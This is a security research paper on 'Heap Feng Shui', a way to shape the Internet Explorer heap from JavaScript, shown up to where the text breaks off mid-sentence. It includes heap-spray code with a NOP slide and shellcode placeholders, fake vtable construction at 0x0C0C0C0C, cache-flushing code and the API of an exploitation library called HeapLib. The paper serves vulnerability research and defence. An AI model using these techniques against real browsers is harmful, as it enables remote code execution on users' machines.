Heap Feng Shui in JavaScript

Alexander Sotirov <asotirov@determina.com>

Introduction

The exploitation of heap corruption vulnerabilities on the Windows platform has become increasingly more difficult since the introduction of XP SP2. Heap protection features such as safe unlinking and heap cookies have been successful in stopping most generic heap exploitation techniques. Methods for bypassing the heap protection exist, but they require a great degree of control over the allocation patterns of the vulnerable application.

This paper introduces a new technique for precise manipulation of the browser heap layout using specific sequences of JavaScript allocations. We present a JavaScript library with functions for setting up the heap in a controlled state before triggering a heap corruption bug. This allows us to exploit very difficult heap corruption vulnerabilities with great reliability and precision.

We will focus on Internet Explorer exploitation, but the general techniques presented here are potentially applicable to any other browser or scripting environment.

Previous work

The most widely used browser heap exploitation technique is the heap spraying method developed by SkyLined for his Internet Explorer IFRAME exploit. This technique uses JavaScript to create multiple strings containing a NOP slide and shellcode. The JavaScript runtime stores the data for each string in a new block on the heap. Heap allocations usually start at the beginning of the address space and go up. After allocating 200MB of memory for the strings, any address between 50MB and 200MB is very likely to point at the NOP slide. Overwriting a return address or a function pointer with an address in this range will lead to a jump to the NOP slide and shellcode execution.

The following JavaScript code illustrates this technique:

```
var nop = unescape("%u9090%u9090");

// Create a 1MB string of NOP instructions followed by shellcode:
//
// malloc header   string length   NOP slide   shellcode   NULL terminator
// 32 bytes        4 bytes         x bytes     y bytes     2 bytes

while (nop.length <= 0x100000/2) nop += nop;

nop = nop.substring(0, 0x100000/2 - 32/2 - 4/2 - shellcode.length - 2/2);

var x = new Array();

// Fill 200MB of memory with copies of the NOP slide and shellcode
for (var i = 0; i < 200; i++) {
    x[i] = nop + shellcode;
}
```

A slight variation of this technique can be used to exploit vtable and object pointer overwrites. If an object pointer is used for a virtual function call, the compiler generates code similar to the following:

```
mov ecx, dword ptr [eax]    ; get the vtable address
push eax                    ; pass C++ this pointer as the first argument
call dword ptr [ecx+08h]    ; call the function at offset 0x8 in the vtable
```

The first four bytes of every C++ object contain a pointer to the vtable. To exploit an overwritten object pointer, we need to use an address that points to a fake object with a fake vtable that contains pointers to the shellcode. It turns out that setting up this kind of structure in memory is not as hard as it seems. The first step is to use a sequence of 0xC bytes for the NOP slide and overwrite the object pointer with an address that points to the slide. The virtual table pointer in the beginning of the fake object will be a dword from the NOP slide that points to 0x0C0C0C0C. The memory at this address will also contain 0xC bytes from the NOP slide, and all virtual function pointers in the fake vtable will point back to the slide at 0x0C0C0C0C. Calling any virtual function of the object will result in a call to the shellcode.

The sequence of dereferences is show below:

```
object pointer   -->   fake object   -->   fake vtable     -->     fake virtual function

addr: xxxx             addr: yyyy          addr: 0x0C0C0C0C        addr: 0x0C0C0C0C
data: yyyy             data: 0x0C0C0C0C    data: +0 0x0C0C0C0C     data: nop slide
                                                 +4 0x0C0C0C0C           shellcode
                                                 +8 0x0C0C0C0C
```

The key observation from SkyLined's technique is that the system heap is accessible from JavaScript code. This paper will take this idea even further and will explore ways to completely control the heap with JavaScript.

Motivation

The heap spraying technique described above is surprisingly effective, but it alone is not sufficient for reliable heap exploitation. There are two reasons for this.

On Windows XP SP2 and later systems it is easier to exploit heap corruption vulnerabilities by overwriting application data on the heap, rather than corrupting the internal malloc data structures. This is because the heap allocator performs additional verification of the malloc chunk headers and the doubly-linked lists of free blocks, which renders the standard heap exploitation methods ineffective. As a result, many exploits use the heap spraying technique to fill the address space with shellcode and then try to overwrite an object or vtable pointer on the heap. The heap protection in the operating system does not extend to the application data stored in memory. The state of the heap is hard to predict, however, and there is no guarantee that the overwritten memory will always contain the same data. In this case the exploit might fail.

One example of this is the ie_webview_setslice exploit in the Metasploit Framework. It triggers a heap corruption vulnerability repeatedly, hoping to trash enough of the heap to cause a jump to random heap memory. It shouldn't come as a surprise that the exploit is not always successful.

The second problem is the trade-off between the reliability of an exploit and the amount of system memory consumed by heap spraying. If an exploit fills the entire address space of the browser with shellcode, any random jump would be exploitable. Unfortunately, on systems with insufficient physical memory, heap spraying will result in heavy use of the paging file and slow system performance. If the user closes the browser before the heap spraying is complete, the exploit will fail.

This paper presents a solution to both of these problems, making reliable and precise exploitation possible.

Internet Explorer heap internals

Overview

There are three main components of Internet Explorer that allocate memory typically corrupted by browser heap vulnerabilities. The first one is the MSHTML.DLL library, responsible for managing memory for HTML elements on the currently displayed page. It allocates memory during the initial rendering of the page, and during any subsequent DHTML manipulations. The memory is allocated from the default process heap and is freed when a page is closed or HTML elements are destroyed.

The second component that manages memory is the JavaScript engine in JSCRIPT.DLL. Memory for new JavaScript objects is allocated from a dedicated JavaScript heap, with the exception of strings, which are allocated from the default process heap. Unreferenced objects are destroyed by the garbage collector, which runs when the total memory consumption or the number of objects exceed a certain threshold. The garbage collector can also be triggered explicitly by calling the CollectGarbage() function.

The final component in most browser exploits is the ActiveX control that causes heap corruption. Some ActiveX controls use a dedicated heap, but most allocate and corrupt memory on the default process heap.

An important observation is that all three components of Internet Explorer use the same default process heap. This means that allocating and freeing memory with JavaScript changes the layout of the heap used by MSHTML and ActiveX controls, and a heap corruption bug in an ActiveX control can be used to overwrite memory allocated by the other two browser components.

JavaScript strings

The JavaScript engine allocates most of its memory with the MSVCRT malloc() and new() functions, using a dedicated heap created during CRT initialization. One important exception is the data for JavaScript strings. They are stored as BSTR strings, a basic string type used by the COM interface. Their memory is allocated from the default process heap by the SysAllocString family of functions in OLEAUT32.DLL.

Here is a typical backtrace from a string allocation in JavaScript:

```
ChildEBP RetAddr  Args to Child
0013d26c 77124b52 77606034 00002000 00037f48 ntdll!RtlAllocateHeap+0xeac
0013d280 77124c7f 00002000 00000000 0013d2a8 OLEAUT32!APP_DATA::AllocCachedMem+0x4f
0013d290 75c61dd0 00000000 00184350 00000000 OLEAUT32!SysAllocStringByteLen+0x2e
0013d2a8 75caa763 00001ffa 0013d660 00037090 jscript!PvarAllocBstrByteLen+0x2e
0013d31c 75caa810 00037940 00038178 0013d660 jscript!JsStrSubstrCore+0x17a
0013d33c 75c6212e 00037940 0013d4a8 0013d660 jscript!JsStrSubstr+0x1b
0013d374 75c558e1 0013d660 00000002 00038988 jscript!NatFncObj::Call+0x41
0013d408 75c5586e 00037940 00000000 00000003 jscript!NameTbl::InvokeInternal+0x218
0013d434 75c62296 00037940 00000000 00000003 jscript!VAR::InvokeByDispID+0xd4
0013d478 75c556c5 00037940 0013d498 00000003 jscript!VAR::InvokeByName+0x164
0013d4b8 75c54468 00037940 00000003 0013d660 jscript!VAR::InvokeDispName+0x43
0013d4dc 75c54d1a 00037940 00000000 00000003 jscript!VAR::InvokeByDispID+0xfb
0013d6d0 75c544fa 0013da80 00000000 0013d7ec jscript!CScriptRuntime::Run+0x18fb
```

To allocate a new string on the heap, we need to create a new JavaScript string object. We cannot simply assign string literal to a new variable, because this does not create a copy of the string data. Instead, we need to concatenate two strings or use the substr function. For example:

```
var str1 = "AAAAAAAAAAAAAAAAAAAA";  // doesn't allocate a new string
var str2 = str1.substr(0, 10);      // allocates a new 10 character string
var str3 = str1 + str2;             // allocates a new 30 character string
```

BSTR strings are stored in memory as a structure containing a four-byte size field, followed by the string data as 16-bit wide characters, and a 16-bit null terminator. The str1 string from the example above will have the following representation in memory:

```
string size | string data                                                    | null terminator
4 bytes     | length / 2 bytes                                               | 2 bytes
            |                                                                |
14 00 00 00 | 41 00 41 00 41 00 41 00 41 00 41 00 41 00 41 00 41 00 41 00 | 00 00
```

We can use the following two formulas to calculate how many bytes will be allocated for a string, or how long a string must be to allocate a certain number of bytes:

```
bytes = len * 2 + 6
len = (bytes - 6) / 2
```

The way strings are stored allows us to write a function that allocates a memory block of an arbitrary size by allocating a new string. The code will calculate the required string length using the `len = (bytes-6)/2` formula, and call substr to allocate a new string of that length. The string will contain data copied from the padding string. If we want to put specific data into the new memory block, we just need to initialize the padding string with it beforehand.

```
// Build a long string with padding data

padding = "AAAA"

while (padding.length < MAX_ALLOCATION_LENGTH)
    padding = padding + padding;

// Allocate a memory block of a specified size in bytes

function alloc(bytes) {
    return padding.substr(0, (bytes-6)/2);
}
```

Garbage collection

To manipulate the browser heap layout it is not enough to be able to allocate memory blocks of an arbitrary size, we also need a way to free them. The JavaScript runtime uses a simple mark-and-sweep garbage collector, the most detailed description of which is in a post on Eric Lippert's blog.

Garbage collection is triggered by various heuristics, such as the number of objects created since the last run. The mark-and-sweep algorithm identifies all unreferenced objects in the JavaScript runtime and destroys them. When a string object is destroyed, its data is freed by calling SysFreeString in OLEAUT32.DLL. This is a backtrace from the garbage collector:

```
ChildEBP RetAddr  Args to Child
0013d324 774fd004 00150000 00000000 001bae28 ntdll!RtlFreeHeap
0013d338 77124ac8 77606034 001bae28 00000008 ole32!CRetailMalloc_Free+0x1c
0013d358 77124885 00000006 00008000 00037f48 OLEAUT32!APP_DATA::FreeCachedMem+0xa0
```

```
0013d36c 77124ae3 02a8004c 00037cc8 00037f48 OLEAUT32!SysFreeString+0x56
0013d380 75c60f15 00037f48 00037f48 75c61347 OLEAUT32!VariantClear+0xbb
0013d38c 75c61347 00037cc8 000378a0 00036d40 jscript!VAR::Clear+0x5d
0013d3b0 75c60eba 000378b0 00000000 000378a0 jscript!GcAlloc::ReclaimGarbage+0x65
0013d3cc 75c61273 00000002 0013d40c 00037c10 jscript!GcContext::Reclaim+0x98
0013d3e0 75c99a27 75c6212e 00037940 0013d474 jscript!GcContext::Collect+0xa5
0013d3e4 75c6212e 00037940 0013d474 0013d40c jscript!JsCollectGarbage+0x10
```

To free one of the strings we've allocated, we need to delete all references to it and run the garbage collector. Fortunately, we don't have to wait for one of the heuristics to trigger it, because the JavaScript implementation in Internet Explorer provides a CollectGarbage() function which forces the garbage collector to run immediately. The use of this function is shown in the code below:

```
var str;

// We need to do the allocation and free in a function scope, otherwise the
// garbage collector will not free the string.

function alloc_str(bytes) {
    str = padding.substr(0, (bytes-6)/2);
}

function free_str() {
    str = null;
    CollectGarbage();
}

alloc_str(0x10000);     // allocate memory block
free_str();             // free memory block
```

The code above allocates a 64KB memory block and frees it, demonstrating our ability to perform arbitrary allocations and frees on the default process heap. We can free only blocks that were allocated by us, but even with that restriction we still have a great degree of control over the heap layout.

OLEAUT32 memory allocator

Unfortunately, it turns out that a call to SysAllocString doesn't always result in an allocation from the system heap. The functions for allocating and freeing BSTR strings use a custom memory allocator, implemented in the APP_DATA class in OLEAUT32. This memory allocator maintains a cache of freed memory blocks, and reuses them for future allocations. This is similar to the lookaside lists maintained by the system memory allocator.

The cache consists of 4 bins, each holding 6 blocks of a certain size range. When a block is freed with the APP_DATA::FreeCachedMem() function, it is stored in one of the bins. If the bin is full, the smallest block in the bin is freed with HeapFree() and is replaced with the new block. Blocks larger than 32767 bytes are not cached and are always freed directly.

When APP_DATA::AllocCachedMem() is called to allocate memory, it looks for a free block in the appropriate size bin. If a large enough block is found, it is removed from the cache and returned to the caller. Otherwise the function allocates new memory with HeapAlloc().

The decompiled code of the memory allocator is shown below:

```
// Each entry in the cache has a size and a pointer to the free block

struct CacheEntry
{
    unsigned int size;
    void* ptr;
}

// The cache consists of 4 bins, each holding 6 blocks of a certain size range

class APP_DATA
{
    CacheEntry bin_1_32     [6];    // blocks from 1 to 32 bytes
    CacheEntry bin_33_64    [6];    // blocks from 33 to 64 bytes
    CacheEntry bin_65_256   [6];    // blocks from 65 to 265 bytes
    CacheEntry bin_257_32768[6];    // blocks from 257 to 32768 bytes

    void* AllocCachedMem(unsigned long size);   // alloc function
    void FreeCachedMem(void* ptr);              // free function
```

```
};


//
// Allocate memory, reusing the blocks from the cache
//

void* APP_DATA::AllocCachedMem(unsigned long size)
{
    CacheEntry* bin;
    int i;

    if (g_fDebNoCache == TRUE)
        goto system_alloc;          // Use HeapAlloc if caching is disabled

    // Find the right cache bin for the block size

    if (size > 256)
        bin = &this->bin_257_32768;
    else if (size > 64)
        bin = &this->bin_65_256;
    else if (size > 32)
        bin = &this->bin_33_64;
    else
        bin = &this->bin_1_32;

    // Iterate through all entries in the bin

    for (i = 0; i < 6; i++) {

        // If the cached block is big enough, use it for this allocation

        if (bin[i].size >= size) {
            bin[i].size = 0;        // Size 0 means the cache entry is unused
            return bin[i].ptr;
        }
    }

system_alloc:

    // Allocate memory using the system memory allocator
    return HeapAlloc(GetProcessHeap(), 0, size);
}


//
// Free memory and keep freed blocks in the cache
//

void APP_DATA::FreeCachedMem(void* ptr)
{
    CacheEntry* bin;
    CacheEntry* entry;
    unsigned int min_size;
    int i;

    if (g_fDebNoCache == TRUE)
        goto system_free;           // Use HeapFree if caching is disabled

    // Get the size of the block we're freeing
    size = HeapSize(GetProcessHeap(), 0, ptr);

    // Find the right cache bin for the size

    if (size > 32768)
        goto system_free;           // Use HeapFree for large blocks
    else if (size > 256)
        bin = &this->bin_257_32768;
    else if (size > 64)
        bin = &this->bin_65_256;
    else if (size > 32)
        bin = &this->bin_33_64;
```

```
        else
            bin = &this->bin_1_32;

        // Iterate through all entries in the bin and find the smallest one

        min_size = size;
        entry = NULL;

        for (i = 0; i < 6; i++) {

            // If we find an unused cache entry, put the block there and return

            if (bin[i].size == 0) {
                bin[i].size = size;
                bin[i].ptr = ptr;       // The free block is now in the cache
                return;
            }

            // If the block we're freeing is already in the cache, abort

            if (bin[i].ptr == ptr)
                return;

            // Find the smallest cache entry

            if (bin[i].size < min_size) {
                min_size = bin[i].size;
                entry = &bin[i];
            }
        }

        // If the smallest cache entry is smaller than our block, free the cached
        // block with HeapFree and replace it with the new block

        if (min_size < size) {
            HeapFree(GetProcessHeap(), 0, entry->ptr);
            entry->size = size;
            entry->ptr = ptr;
            return;
        }

    system_free:

        // Free the block using the system memory allocator
        return HeapFree(GetProcessHeap(), 0, ptr);
    }
```

The caching alrogithm used by the APP_DATA memory allocator presents a problem, because only some of our allocations and frees result in calls to the system allocator.

Plunger technique

To make sure that each string allocation comes from the system heap, we need to allocate 6 blocks of the maximum size for each bin. Since the cache can hold only 6 blocks in a bin, this will make sure that all cache bins are empty. The next string allocation is guaranteed to result in a call to HeapAlloc().

If we free the string we just allocated, it will go into one of the cache bins. We can flush it out of the cache by freeing the 6 maximum-size blocks that we allocated in the previous step. The FreeCachedMem() function will push all smaller blocks out of the cache, and our string will be freed with HeapFree(). At this point, the cache will be full, so we need to empty it again by allocating 6 maximum-size blocks for each bin.

In effect, we are using the 6 blocks as a plunger to push out all smaller blocks out of the cache, and then we pull the plunger out by allocating the 6 blocks again.

The following code shows an implementation of the plunger technique:

```
    plunger = new Array();

    // This function flushes out all blocks in the cache and leaves it empty
```

```
function flushCache() {

    // Free all blocks in the plunger array to push all smaller blocks out

    plunger = null;
    CollectGarbage();

    // Allocate 6 maximum size blocks from each bin and leave the cache empty

    plunger = new Array();

    for (i = 0; i < 6; i++) {
        plunger.push(alloc(32));
        plunger.push(alloc(64));
        plunger.push(alloc(256));
        plunger.push(alloc(32768));
    }
}

flushCache();           // Flush the cache before doing any allocations

alloc_str(0x200);       // Allocate the string

free_str();             // Free the string and flush the cache
flushCache();
```

To push a block out of the cache and free it with HeapFree(), it must be smaller than the maximum size for its bin. Otherwise, the condition `min_size < size` in FreeCachedMem will not be satisfied and the plunger block will be freed instead. This means that we cannot free blocks of size 32, 64, 256 or 32768, but this is not a serious limitation.

HeapLib - JavaScript heap manipulation library

We implemented the concepts described in the previous section in a JavaScript library called HeapLib. It provides alloc() and free() functions that map directly to calls to the system allocator, as well as a number of higher level heap manipulation routines.

The Hello World of HeapLib

The most basic program utilizing the HeapLib library is shown below:

```
<script type="text/javascript" src="heapLib.js"></script>

<script type="text/javascript">

    // Create a heapLib object for Internet Explorer
    var heap = new heapLib.ie();

    heap.gc();      // Run the garbage collector before doing any allocations

    // Allocate 512 bytes of memory and fill it with padding
    heap.alloc(512);

    // Allocate a new block of memory for the string "AAAAA" and tag the block with "foo"
    heap.alloc("AAAAA", "foo");

    // Free all blocks tagged with "foo"
    heap.free("foo");
</script>
```

This program allocates a 16 byte block of memory and copies the string "AAAAA" into it. The block is tagged with the tag "foo", which is later used as an argument to free(). The free() function frees all memory blocks marked with this tag.

In terms of its effect on the heap, the Hello World program is equivalent to the following C code:

```
    block1 = HeapAlloc(GetProcessHeap(), 0, 512);
    block2 = HeapAlloc(GetProcessHeap(), 0, 16);
    HeapFree(GetProcessHeap(), 0, block2);
```

Debugging

HeapLib provides a number of functions that can be used to debug the library and inspect its effect on the heap. This is small example that illustrates the debugging functionality:

```
heap.debug("Hello!");    // output a debugging message
heap.debugHeap(true);    // enable tracing of heap allocations
heap.alloc(128, "foo");
heap.debugBreak();       // break in WinDbg
heap.free("foo");
heap.debugHeap(false);   // disable tracing of heap allocations
```

To see the debugging output, attach WinDbg to the IEXPLORE.EXE process and set the following breakpoints:

```
bc *

bu 7c9106eb "j (poi(esp+4)==0x150000)
    '.printf \"alloc(0x%x) = 0x%x\", poi(esp+c), eax; .echo; g'; 'g';"

bu ntdll!RtlFreeHeap "j ((poi(esp+4)==0x150000) & (poi(esp+c)!=0))
    '.printf \"free(0x%x), size=0x%x\", poi(esp+c), wo(poi(esp+c)-8)*8-8; .echo; g'; 'g';"

bu jscript!JsAtan2 "j (poi(poi(esp+14)+18) == babe)
    '.printf \"DEBUG: %mu\", poi(poi(poi(esp+14)+8)+8); .echo; g';"

bu jscript!JsAtan "j (poi(poi(esp+14)+8) == babe)
    '.echo DEBUG: Enabling heap breakpoints; be 0 1; g';"

bu jscript!JsAsin "j (poi(poi(esp+14)+8) == babe)
    '.echo DEBUG: Disabling heap breakpoints; bd 0 1; g';"

bu jscript!JsAcos "j (poi(poi(esp+14)+8) == babe)
    '.echo DEBUG: heapLib breakpoint'"

bd 0 1
g
```

The first breakpoint is at the RET instruction of ntdll!RtlAllocateHeap. The address above is valid for Windows XP SP2, but might need adjustment for other systems. The breakpoints also assume that the default process heap is at 0x150000. WinDbg's uf and !peb commands provide these addresses:

```
0:012> uf ntdll!RtlAllocateHeap
...
ntdll!RtlAllocateHeap+0xea7:
7c9106e6 e817e7ffff      call    ntdll!_SEH_epilog (7c90ee02)
7c9106eb c20c00          ret     0Ch

0:012> !peb
PEB at 7ffdf000
    ...
    ProcessHeap:       00150000
```

After setting these breakpoints, running the sample code above will display the following debugging output in WinDbg:

```
DEBUG: Hello!
DEBUG: Enabling heap breakpoints
alloc(0x80) = 0x1e0b48
DEBUG: heapLib breakpoint
eax=00000001 ebx=0003e660 ecx=0003e67c edx=00038620 esi=0003e660 edi=0013dc90
eip=75ca315f esp=0013dc6c ebp=0013dca0 iopl=0         nv up ei ng nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000296
jscript!JsAcos:
75ca315f 8bff            mov     edi,edi
0:000> g
DEBUG: Flushing the OLEAUT32 cache
                          free(0x1e0b48), size=0x80
DEBUG: Disabling heap breakpoints
```

We can see that the alloc() function allocated 0x80 bytes of memory at address 0x1e0b48, which was later freed by free(). The sample program also triggers a breakpoint in WinDbg by calling debugBreak() from HeapLib. This function is implemented as a call to the JavaScript acos() function with a special parameter, which triggers the WinDbg breakpoint on jscript!JsAcos. This gives us the opportunity to inspect the state of the heap before continuing with the JavaScript execution.

Utility functions

The library also provides functions for manipulating data used in exploitation. Here's an example of using the addr() and padding() functions to prepare a fake vtable block:

```
var vtable = "";
for (var i = 0; i < 100; i++) {
    // Add 100 copies of the address 0x0C0C0C0C to the vtable
    vtable = vtable + heap.addr(0x0C0C0C0C);
}

// Pad the vtable with "A" characters to make the block size exactly 1008 bytes
vtable = vtable + heap.padding((1008 - (vtable.length*2+6))/2);
```

For more details, see the description of the functions in the next section.

HeapLib reference

Object-oriented interface

The HeapLib API is implemented as an object-oriented interface. To use the API in Internet Explorer, create an instance of the *heapLib.ie* class.

Constructor	Description
heapLib.ie(maxAlloc, heapBase)	Creates a new heapLib API object for Internet Explorer. The *maxAlloc* argument sets the maximum block size that can be allocated using the alloc() function. Arguments: • maxAlloc - maximum allocation size in bytes (defaults to 65535) • heapBase - base of the default process heap (defaults to 0x150000)

All functions described below are instance methods of the *heapLib.ie* class.

Debugging

To see the debugging output, attach WinDbg to the IEXPLORE.EXE process and set the breakpoints described above. If the debugger is not present, the functions below have no effect.

Function	Description
debug(msg)	Outputs a debugging message in WinDbg. The *msg* argument must be a string literal. Using string concatenation to build the message will result in heap allocations. Arguments: • msg - string to output
debugHeap(enable)	Enables or disables logging of heap operations in WinDbg. Arguments: • enable - a boolean value, set to *true* to enable heap logging
debugBreak()	Triggers a breakpoint in the debugger.

Utility functions

Function	Description
padding(len)	Returns a string of a specified length, up to the maximum allocation size set in the *heapLib.ie* constructor. The string contains "A" characters. Arguments: • len - length in characters Example:

	`heap.padding(5)            // returns "AAAAA"`
round(num, round)	Returns an integer rounded up to a specified value. Arguments: • num - integer to round • round - value to round to Example: `heap.round(210, 16)        // returns 224`
hex(num, width)	Converts an integer to a hex string. This function uses the heap. Arguments: • num - integer to convert • width - pad the output with zeroes to a specified width (optional) Example: `heap.hex(210, 8)           // returns "000000D2"`

addr(addr)	Converts a 32-bit address to a 4-byte string with the same representation in memory. This function uses the heap.
	
	Arguments:
	• addr - integer representation of the address
	
	Example:
	`heap.addr(0x1523D200)      // returns the equivalent of`
	`// unescape("%uD200%u1523")`

Memory allocation

Function	Description

alloc(arg, tag)	Allocates a block of a specified size with the system memory allocator. A call to this function is equivalent to a call to HeapAlloc(). If the first argument is a number, it specifies the size of the new block, which is filled with "A" characters. If the argument is a string, its data is copied into a new block of size `arg.length * 2 + 6`. In both cases the size of the new block must be a multiple of 16 and not equal to 32, 64, 256 or 32768.
	
	Arguments:
	• arg - size of the memory block in bytes, or a string to strdup
	• tag - a tag identifying the memory block (optional)
	
	Example:
	`heap.alloc(512, "foo") // allocates a 512 byte block tagged with`
	`// "foo" and fills it with "A" characters`
	
	`heap.alloc("BBBBB")    // allocates a 16 byte block with no tag`
	`// and copies the string "BBBBB" into it`

free(tag)	Frees all memory blocks marked with a specific tag with the system memory allocator. A call to this function is equivalent to a call to HeapFree(). Arguments: • tag - a tag identifying the group of blocks to be freed Example: `heap.free("foo")     // free all memory blocks tagged with "foo"`
gc()	Runs the garbage collector and flushes the OLEAUT32 cache. Call this function before before using alloc() and free().

Heap manipulation

The following functions are used for manipulating the data structures of the memory allocator in Windows 2000, XP and 2003. The heap allocator in Windows Vista is not supported, due to its significant differences.

Function	Description

freeList(arg, count)	Adds blocks of the specified size to the free list and makes sure they are not coalesced. The heap must be defragmented before calling this function. If the size of the memory blocks is less than 1024, you have to make sure that the lookaside is full.
	
	Arguments:
	• arg - size of the new block in bytes, or a string to strdup
	• count - how many free blocks to add to the list (defaults to 1)
	
	Example:
	`heap.freeList("BBBBB", 5) // adds 5 blocks containing the`
	`                           // string "BBBBB" to the free list`

lookaside()	Adds blocks of the specified size to the lookaside. The lookaside must be empty before calling this function.
	
	Arguments:
	• arg - size of the new block in bytes, or a string to strdup
	• count - how many blocks to add to the lookaside (defaults to 1)
	
	Example:
	`heap.lookaside("BBBBB", 5) // puts 5 blocks containing the`
	`                            // string "BBBBB" on the lookaside`

lookasideAddr()	Return the address of the head of the lookaside linked list for blocks of a specified size. Uses the *heapBase* parameter from the *heapLib.ie* constructor. Arguments: • arg - size of the new block in bytes, or a string to strdup Example: `heap.lookasideAddr("BBBBB") // returns 0x150718`

vtable(shellcode, jmpecx, size)	Returns a fake vtable that contains shellcode. The caller should free the vtable to the lookaside and use the address of the lookaside head as an object pointer. When the vtable is used, the address of the object must be in eax and the pointer to the vtable must be in ecx. Any virtual function call through the vtable from ecx+8 to ecx+0x80 will result in shellcode execution. This function uses the heap.
	
	Arguments:
	• shellcode - shellcode string
	• jmpecx - address of a jmp ecx or equivalent instruction
	• size - size of the vtable to generate (defaults to 1008 bytes)
	
	Example:
	`heap.vtable(shellcode, 0x4058b5) // generates a 1008 byte vtable`
	`                                 // with pointers to shellcode`

Using HeapLib

Defragmenting the heap

Heap fragmentation is a serious problem for exploitation. If the heap starts out empty the heap allocator's determinism allows us to compute the heap state resulting from a specific sequence of allocations. Unfortunately, we don't know the heap state when our exploit is executed, and this makes the behavior of the heap allocator unpredictable.

To deal with this problem, we need to defragment the heap. This can be accomplished by allocating a large number of blocks of the size that our exploit will use. These blocks will fill all available holes on the heap and guarantee that any subsequent allocations for blocks of the same size are allocated from the end of the heap. At this point the behavior of the allocator will be equivalent to starting with an empty heap.

The following code will defragment the heap with blocks of size 0x2010 bytes:

```
for (var i = 0; i < 1000; i++)
    heap.alloc(0x2010);
```

Putting blocks on the free list

Assume that we have a piece of code that allocates a block of memory from the heap and uses it without initialization. If we control the data in the block, we'll be able to exploit this vulnerability. We need to allocate a block of the same size, fill it with our data, and free it. The next allocation for this size will get the block containing our data.

The only obstacle is the coalescing algorithm in the system memory allocator. If the block we're freeing is next to another free block, they will get coalesced into a bigger block, and the next allocation might not get a block containing our data. To prevent this, we will allocate three blocks of the same size, and free the middle one. Defragmenting the heap beforehand will ensure that the three blocks are consecutive, and the middle block will not get coalesced.

```
heap.alloc(0x2020);             // allocate three consecutive blocks
heap.alloc(0x2020, "freeList");
heap.alloc(0x2020);

heap.free("freeList");          // free the middle block
```

The HeapLib library provides a convenience function that implements the technique described above. The following example shows how to add 0x2020 byte block to the free list:

```
heap.freeList(0x2020);
```

Emptying the lookaside

To empty the lookaside list for a certain size, we just need to allocate enough blocks of that size. Usually the lookaside will contain no more than 4 blocks, but we've seen lookasides with more entries on XP SP2. We'll allocate 100 blocks, just to be sure. The following code shows this:

```
for (var i = 0; i < 100; i++)
    heap.alloc(0x100);
```

Freeing to the lookaside

Once the lookaside is empty, any block of the right size will be put on the lookaside when we free it.

```
// Empty the lookaside
for (var i = 0; i < 100; i++)
    heap.alloc(0x100);

// Allocate a block
heap.alloc(0x100, "foo");

// Free it to the lookaside
heap.free("foo");
```

The lookaside() function in HeapLib implements this technique:

```
// Empty the lookaside
for (var i = 0; i < 100; i++)
    heap.alloc(0x100);

// Add 3 blocks to the lookaside
heap.lookaside(0x100);
```

Using the lookaside for object pointer exploitation

It is interesting to follow what happens when a block is put on the lookaside. Let's start with an empty lookaside list. If the base of the heap is 0x150000, the address of the lookaside head for blocks of size 1008 will be 0x151e58. Since the lookaside is empty, this location will contain a NULL pointer.

Now let's free a 1008 byte block. The lookaside head at 0x151e58 will point to it, and the first four bytes of the block will be overwritten with a NULL to indicate the end of the linked list. The structure in memory looks just like what we need to exploit an overwritten object pointer:

```
object pointer   -->   lookaside      -->   freed block
                       (fake object)        (fake vtable)

addr: xxxx             addr: 0x151e58       addr: yyyy
data: 0x151e58         data: yyyy           data: +0 NULL
                                                  +4 function pointer
                                                  +8 function pointer
                                                  ...
```

If we overwrite an object pointer with 0x151e58 and free a 1008 byte block containing a fake vtable, any virtual function call through the vtable will ju